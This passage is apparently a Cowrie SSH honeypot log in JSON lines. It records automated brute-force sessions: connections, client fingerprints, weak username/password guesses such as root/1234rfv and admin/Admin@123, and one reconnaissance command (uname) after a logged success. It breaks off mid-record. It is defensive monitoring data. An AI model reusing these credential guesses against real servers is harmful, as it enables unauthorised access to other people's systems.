{"eventid":"cowrie.login.failed","username":"sam","password":"abc123","message":"login attempt [sam/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:45.135095Z","src_ip":"91.92.40.171","session":"e00daffd6dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:46.279650Z","src_ip":"91.92.40.171","session":"e00daffd6dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:46.377551Z","src_ip":"91.92.42.133","session":"296aeda6eedb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:46.715435Z","src_ip":"91.92.40.171","session":"362415705c6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":49614,"dst_ip":"159.203.135.109","dst_port":22,"session":"b752b5d15599","protocol":"ssh","message":"New connection: 91.92.42.133:49614 (159.203.135.109:22) [session: b752b5d15599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:49.626359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:50.010778Z","src_ip":"91.92.42.133","session":"b752b5d15599","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:50.013859Z","src_ip":"91.92.42.133","session":"b752b5d15599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:51.120746Z","src_ip":"91.92.40.171","session":"362415705c6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35450,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c6c62ebb5ba","protocol":"ssh","message":"New connection: 91.92.40.171:35450 (159.203.135.109:22) [session: 9c6c62ebb5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:51.185546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:51.224968Z","src_ip":"91.92.40.171","session":"9c6c62ebb5ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:51.893102Z","src_ip":"91.92.40.171","session":"9c6c62ebb5ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:51.983719Z","src_ip":"91.92.42.133","session":"b752b5d15599","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:53.176899Z","src_ip":"91.92.42.133","session":"b752b5d15599","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:54.449830Z","src_ip":"91.92.40.171","session":"9c6c62ebb5ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47614,"dst_ip":"159.203.135.109","dst_port":22,"session":"edae42ca034c","protocol":"ssh","message":"New connection: 91.92.40.171:47614 (159.203.135.109:22) [session: edae42ca034c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:55.690187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:55.788322Z","src_ip":"91.92.40.171","session":"edae42ca034c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:55.791315Z","src_ip":"91.92.40.171","session":"edae42ca034c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:55.943201Z","src_ip":"91.92.40.171","session":"9c6c62ebb5ba","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:55.945785Z","src_ip":"91.92.40.171","session":"9c6c62ebb5ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":17416,"dst_ip":"10.17.0.5","dst_port":22,"session":"195d97d96bc7","protocol":"ssh","message":"New connection: 117.121.214.50:17416 (10.17.0.5:22) [session: 195d97d96bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:56.139606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:56.144037Z","src_ip":"117.121.214.50","session":"195d97d96bc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:56.378996Z","src_ip":"91.92.40.171","session":"edae42ca034c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:56.386433Z","src_ip":"117.121.214.50","session":"195d97d96bc7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:56.577748Z","src_ip":"91.92.40.171","session":"9c6c62ebb5ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:56.593566Z","src_ip":"91.92.40.171","session":"9c6c62ebb5ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234rfv","message":"login attempt [root/1234rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:57.387213Z","src_ip":"117.121.214.50","session":"195d97d96bc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:57.663465Z","src_ip":"91.92.40.171","session":"edae42ca034c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55298,"dst_ip":"159.203.135.109","dst_port":22,"session":"611540c98772","protocol":"ssh","message":"New connection: 91.92.42.133:55298 (159.203.135.109:22) [session: 611540c98772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:57.676060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:57.816008Z","src_ip":"91.92.42.133","session":"611540c98772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:57.819184Z","src_ip":"91.92.42.133","session":"611540c98772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:58.632745Z","src_ip":"117.121.214.50","session":"195d97d96bc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:35:59.486041Z","src_ip":"91.92.42.133","session":"611540c98772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:00.820631Z","src_ip":"91.92.42.133","session":"611540c98772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47654,"dst_ip":"159.203.135.109","dst_port":22,"session":"31bc664d1882","protocol":"ssh","message":"New connection: 91.92.40.171:47654 (159.203.135.109:22) [session: 31bc664d1882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:01.649285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:01.681278Z","src_ip":"91.92.40.171","session":"31bc664d1882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:01.751537Z","src_ip":"91.92.40.171","session":"31bc664d1882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:02.212472Z","src_ip":"91.92.40.171","session":"31bc664d1882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:03.314917Z","src_ip":"91.92.40.171","session":"31bc664d1882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55644,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cb13fa6e637","protocol":"ssh","message":"New connection: 91.92.42.133:55644 (159.203.135.109:22) [session: 6cb13fa6e637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:04.743706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:04.861121Z","src_ip":"91.92.42.133","session":"6cb13fa6e637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:04.865735Z","src_ip":"91.92.42.133","session":"6cb13fa6e637","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:05.472556Z","src_ip":"91.92.42.133","session":"6cb13fa6e637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:06.763170Z","src_ip":"91.92.42.133","session":"6cb13fa6e637","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51360,"dst_ip":"159.203.135.109","dst_port":22,"session":"6de9b2bd95c1","protocol":"ssh","message":"New connection: 91.92.40.171:51360 (159.203.135.109:22) [session: 6de9b2bd95c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:07.016800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:36:07.064873Z","src_ip":"91.92.40.171","session":"6de9b2bd95c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 